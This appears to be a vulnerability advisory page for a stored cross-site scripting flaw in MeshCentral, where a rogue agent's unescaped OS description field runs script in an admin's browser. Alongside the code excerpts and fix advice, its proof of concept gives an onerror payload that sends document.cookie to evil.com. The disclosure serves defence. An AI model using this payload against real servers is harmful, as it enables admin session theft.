GHSA-c7hr-448w-65px MeshCentral has unsanitized data fields

Not scored Published 18 Aug 2026

A compromised agent can inject malicious scripts via unsanitized OS description fields, leading to admin session hijacking when viewed.

Exploited in the wild: Not known
Login needed: Any signed-in user
Attackable: Over the internet
Victim action needed: A user has to click or open something
Fix: Available

What is GHSA-c7hr-448w-65px?

GHSA-c7hr-448w-65px is a cross-site scripting vulnerability in meshcentral, published on 18 Aug 2026. Any signed-in user can exploit it over the network, and only if a user opens a file or follows a link.

Official description

Description

A rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the device details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.

Technical Details

// meshagent.js:1903 -- Agent input, only type check
if (typeof command.osdesc == &#39;string&#39;) { device.osdesc = command.osdesc;
change = 1; }

// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()
if (node.osdesc) { x += addDeviceAttribute(&#34;Operating System&#34;, node.osdesc); }
// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML

// INCONSISTENCY: Same field IS escaped elsewhere:
// Line 13529: addDetailItem(&#34;Version&#34;, EscapeHtml(node.osdesc), s)
// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : &#39;&#39;)

Additional unescaped agent fields:

node.name unescaped in sharing dialog (line 4695), user group list (line 18625), permission dialogs (lines 18675, 19413) – HIGH
cpuinfo.thermals[].InstanceName attribute injection (line 13502) – MEDIUM
volumes[].name unescaped in file browser (line 12612) – MEDIUM

No server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.

Proof of Concept

Rogue agent sends via WebSocket:

{
  &#34;action&#34;: &#34;coreinfo&#34;,
  &#34;osdesc&#34;: &#34;&lt;img src=x onerror=&#39;fetch(\&#34;https://evil.com/steal?\&#34;+document.cookie)&#39;&gt;&#34;,
  &#34;name&#34;: &#34;Legit-PC&#34;
}

Payload fires when any admin views the device details panel. No click required.

Which versions are affected by GHSA-c7hr-448w-65px?

2 open source packages ship an affected version, including meshcentral.

Package	Affected	Fixed in
`meshcentral` npm	All versions	`1.1.60`
`meshcentral` npm	All versions	`1.1.60`

How do I fix GHSA-c7hr-448w-65px?

Upgrade meshcentral to 1.1.60 or later.

Escape output for the context it lands in and set a strict Content Security Policy. Upgrading the affected component is the real fix. More about Cross-site scripting.

Is GHSA-c7hr-448w-65px being exploited?

There is no known exploitation of GHSA-c7hr-448w-65px in the wild and no public exploit code.